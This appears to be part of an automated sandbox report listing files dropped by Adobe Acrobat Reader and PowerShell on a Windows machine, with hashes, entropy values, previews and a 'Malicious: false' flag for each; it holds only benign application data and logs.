SHA-256:	6A12B645F6BE147428E48C5AA3A5FAB78B01A06E3363F7096F7E59A806201AC7
SHA-512:	A9ED5253B777432E092D6302644A508F7C910FBA03EF8E13C4167C84FCFB9D8A843BC36CB719340BE9501312C8E8AA22227F6BAC1EC71337F0503CBBB25169F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.301619025278149
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJf+dPeUkwRe9:YvXKX7mWUitoGFlVG28Ukee9
MD5:	1C1181A83F89C8041766A4785E17DF06
SHA1:	D39CB8CF8FF3FB0093A222FC026D0E687295B1C7
SHA-256:	E61CA3A03BC83D0001218A8BA125EEE10EC4B7B17EC564772115AE95E8CBF17B
SHA-512:	0940B3CCBD1CD895C1F8BED6654F976CF8CA39527C5D925834853B381353A471493B999C572DF51624C31DA7E979EE417BD04747D24D982E170058F6CA95BB91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.298449447755816
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJfbPtdPeUkwRe9:YvXKX7mWUitoGFlVGDV8Ukee9
MD5:	2B3A013C1A7B3320CE9FC876E777B308
SHA1:	16110FF13B69D2EE58117F2666AFD561137FBFDD
SHA-256:	ADED18BBBC4A1C142DFD4101FB7E33F22C4D578098FA223C46383FE4E6A4B036
SHA-512:	C0ECAD6C40A31CC24EFD7CFE93AB32060A4761C761C94B25795EE80F8BD76581AF326F7659859B51D4B7EFBA0846E26977AC87221D25449DCF30C0E15A0A7E85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.299680615207791
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJf21rPeUkwRe9:YvXKX7mWUitoGFlVG+16Ukee9
MD5:	FE130182EB032372B75F4C160426AEEE
SHA1:	1DD9CEB79AE4CC6DF153887270C51D9B8BF872D9
SHA-256:	EB43952957E84788B444BDD32AECD578B0361F20098AFBCF8DDBFF838A5CC8C5
SHA-512:	4A5614BB0554CE97AE4F10C1DD9CC5D8FD55E13778AF43DFF513F6F19ED5A4725670975356E1BF1AFA7DE38B1824D724B93879411CF865A16B01925FF76AA53D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.671821470552861
Encrypted:	false
SSDEEP:	24:Yv6X56gmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSpX:Yve6ZBgkDMUJUAh8cvM9
MD5:	EEDAF11591C38ED549BAF63D73F28651
SHA1:	00D2024DA6A19E5CA7F4DEE771B6353C079881FB
SHA-256:	CBB83AB6B25824E4B0F5B8B16E53DE0BCDF47D090E40061575FD0CD97B5E5505
SHA-512:	5E490A96C96F925C4360469D067ED4CEE76FC9D19DC6CBEAA87D725FECA9142794257A9C162B55114AC2508CE2D0CBD24BCC6DACBC7304468013F0D8CEA5193D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2783044170375675
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJfshHHrPeUkwRe9:YvXKX7mWUitoGFlVGUUUkee9
MD5:	D929FD080069E41B28525CE2D467D517
SHA1:	E211A73A0DA48A586F8AC69E2CFC8EA99799E90B
SHA-256:	C719E72E2C41B02EB25E3DF05961F5C7CDA615493B163E2E274C9EA2985BA9AD
SHA-512:	9CEFFF8651CCD5DD5E16A2894553929DA63BFD6E7E4D81E8A2547F625464A9EFC3214F1871FF1AD15769420A13954E52EF60C4626C3F9AA7842D3E614784C7A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2762453492389545
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDHIBLN8tUib5Glvp0YiFXYieoAvJTqgFCrPeUkwRe9:YvXKX7mWUitoGFlVGTq16Ukee9
MD5:	936746D1308CBB3FF1831B88B532C7F9
SHA1:	99F347A5BC2CD38D1F862945265882B6A87567BE
SHA-256:	B017889877F8D7F314F0797E6FE91E953BCA5661A5BED8639E84652B88200AD3
SHA-512:	E576C126E3BC85058350AC7C50B46B54B9072F2A1B7F2B2B67E9DE945FD1A06B58DC0045D8E2260E334140253FDD0555B3D5BE375AE4098312B86C4B3EE8C10E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f8ce89c-f877-4b32-bfe0-79f71c2d16f1","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736700219802,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.14352830763828
Encrypted:	false
SSDEEP:	48:Y9E1rBHlgdIkzMWsxP2jAdDiKImafPSZEFLB8DUIH2Me9sFrcn:+E1VFgdr3sxP2jAdDiKIm6KiZB8DUIW1
MD5:	F80286499B53FF863B2E391B8CD858D4
SHA1:	C4602F6E19BD3327C21176F813D2091F7718C50F
SHA-256:	3358AE5605C1AEE5A188227761B45BF8D247AD9B1B2903D556696006C55C038B
SHA-512:	8C697C1881D5F03E1A2E98BD259CA277CB857040807548EF48C3FD7D07878F5DC97EDE33841133470694949400F7E3470E8C5896E7000F6C152AAEBAB54590A4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"285badd7e9205dace9071c88917478f5","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736526744000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e1db4e50a87928dccbf5775bbeb279a5","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736526744000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"94bbadc3682113f1e20bcddfe2e3d5ca","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736526744000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"422c2538c21459929a79eaef3c0197df","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736526744000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3bcda88db2c88fd9b6b14d72d62afd7b","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736526744000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d16636526961f2693ca678d6a4d18fdd","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 28, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 28
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4577572806255399
Encrypted:	false
SSDEEP:	48:TFl2GL7msrhoGgpP5ZgrI2E53LviuFuI7P95x:/VmsrhoGgt5ZgE5p7Vf
MD5:	CF400512856B98EA576D3D0206865D4C
SHA1:	66864ED08E8504331E71A449EC7D921B1FF6DBFA
SHA-256:	3F73D7F3DAB4020B8F663DFFA20A38AA0890566CC00CF5D2228773CEB592B61B
SHA-512:	8FC56463877279382BC802A1F79E5C19DE47145F3B635F96D4AE8487EE9C794FD5E9318BAA9DA96A79543F53CDECDDD1A6810B4814760A36AA96B66E1B1AC933
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9637047940885728
Encrypted:	false
SSDEEP:	48:7MKhoGgpP5ZgrI2E5YLviuFuI7PehtqVl2GL7ms/:7zhoGgt5ZgEop72htaVms/
MD5:	52BBCACE9EBAFD1CBB3F099518F178CE
SHA1:	5B4687F59B7910DA1AA144534076C6DBB42173A7
SHA-256:	4ABFEE73BDBF68673F1697CE4A3961DD4638CF05A1BF354AE05123680865C2E4
SHA-512:	A9A8112456AB72E0D7E707C2AA0430E86039390DEF3083A3B5E0B5BC72E0947442841AC0209F6F92C44EEFDC7C3489C1A91E5E8266A6CD9356BE35DF391AC0E8
Malicious:	false
Preview:	.... .c......._..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg7fpc8fh/w5DXo2E1eb5+1xJbaHqnYyu:6a6TZ44ADE7fpL5/w5DNEpoHqnK
MD5:	098DB96A108D1978E86A753D009B870E
SHA1:	BFFE595B314644A31B807BC7F4EB533F3D0F4394
SHA-256:	9E78E0F42D1E541F26CF15FEF82D42AA873C681D1124576EB528C82835F99577
SHA-512:	451BB92B706F8C1928EFAD0987E34CC406174ADB76D87A51DB73A02D461BFE1423653697F5E38A55B7677119789E5D36A37AD2E733BEA1B2BC3B56D39F248181
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJrpllXZ:NllU
MD5:	F860F2A2E1558F88A9C22F11F588950A
SHA1:	DEC8EABE29B7FC7CCD4FFDCAB615AAB24726856E
SHA-256:	B7F57086DF28F3BFFC9EFC85024A3CC0243505557C180907CB8DA511AC56878E
SHA-512:	054D24A5BBED7D0218CCC0D70E84B4DF542A59B53D2A6F9A10E5923B618C8EC4B152C947C84A0C3541F96BCBF52D9508319C5C49D251242E392ADFAD045C00F5
Malicious:	false
Preview:	@...e...................................L............@..........

C:\Users\user\AppData\Local\Temp\MSI43ef6.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5020010357239357
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEnNz:Qw946cPbiOxDlbYnuRK+bDn5
MD5:	AC2111F8877E221F6ECCECEA0C9A15D8
SHA1:	FA9CF86ECF472EFE4DF4F153188C30252E87D82B
SHA-256:	01060E37CB070CCB8C4964554E771361C37AC91EE28EDDF0478920D024244345
SHA-512:	94A621BD07A7ADABBD543562A707E79D3794443125CEE0A5E37A25441C4E518809F432FEF7860F14005297112309CD0003AAEB6372E805481F93A548AC21A118
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.3.2.:.2.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_02n24bx0.rmb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bsbuanv3.ddo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-32-18-084.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.346011504419146
Encrypted:	false
SSDEEP:	384:BqIxwGbWz/d64bJEaE3eErgEVCjzI8K7Wq2YUYNzgzxzOupDPdz4I9j8jI/BvfDJ:5bEd3NShrMdom
MD5:	789D1F2F853618A17B73FBEF9532AB2F
SHA1:	5322D042DC96B7E30E3914F7C21729559D534D3E
SHA-256:	482DB450F9F106D18D3E1EAE7A160CC9E75201F9336327CDBCA465997BF56FB2
SHA-512:	20E8E45817B30FE1B03ABE69E71C534EF8DA2015CE237E3F93FDF932D6CDE1FD126465530B61E56A32E9D65A3A6858A1B3B00806571A232876EACAD293871629
Malicious:	false
Preview:	SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:322+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.346461397754593
Encrypted:	false
SSDEEP:	384:NDVD/DoDHDFDGDZzDuDPD2DVD/DYTZlFD8DIDuDnjDWjDKjDljD8jD174g1DwBtE:h5rsjJqZvib65rK5AMi/GSBID
MD5:	4163A1C25E21DC4D1047D2CB4C3FA5D5
SHA1:	A00A737FE34E7EBF410008715F2F71464756C961
SHA-256:	CDA16452E60B8E0EB839D8DB81AB59CEC023B3306C348D4FCC3965F2683F41CB
SHA-512:	991BCAD40C4BA2C297905139FD55877816E6E5D572D22A1733390890D0AF3F40524C91666ED0F18EE4BC184F1178DDE10C4D1494126416E98EA304D074D0F046
Malicious:	false
Preview:	SessionID=5649fe24-ad2a-4ec9-b941-f10ec1f7dfaf.1736526738100 Timestamp=2025-01-10T11:32:18:100-0500 ThreadID=1764 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5649fe24-ad2a-4ec9-b941-f10ec1f7dfaf.1736526738100 Timestamp=2025-01-10T11:32:18:103-0500 ThreadID=1764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5649fe24-ad2a-4ec9-b941-f10ec1f7dfaf.1736526738100 Timestamp=2025-01-10T11:32:18:103-0500 ThreadID=1764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5649fe24-ad2a-4ec9-b941-f10ec1f7dfaf.1736526738100 Timestamp=2025-01-10T11:32:18:103-0500 ThreadID=1764 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5649fe24-ad2a-4ec9-b941-f10ec1f7dfaf.1736526738100 Timestamp=2025-01-10T11:32:18:103-0500 ThreadID=1764 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.390722524536842
Encrypted:	false
SSDEEP:	192:Ncb/mILxcb2cbeLIFrcbCkcbAIp/cbVcbIIJDcbZcbCIY+cbbqcbcIMocbV:2PLH8FVfpBJnYX5Mr
MD5:	44E055708FF0842344686DD6700677E8
SHA1:	E5F494489CC642B9AE0B0B0DB7C5B698A242B3C1
SHA-256:	59E2E17EEC7C8CFB3F8A294B3ED8891F977589922873675A8E136B6D2D80ED3B
SHA-512:	E9FD6146DF85A5BB503C811B92D731849D243F7498DE372D57ABA6A7B23146FDDEE6E291161F0FDA69AFF6163B34F3CC7D9BA3B474D4474AA951D4F9F596116A
Malicious:	false
Preview:	05-10-2023 12:57:02:.---2---..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 12:57:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\7d602027-a56f-48dd-b746-c0d6b24ec7a2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8b7d870a-c564-4c67-b545-d4e4b101ae5c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
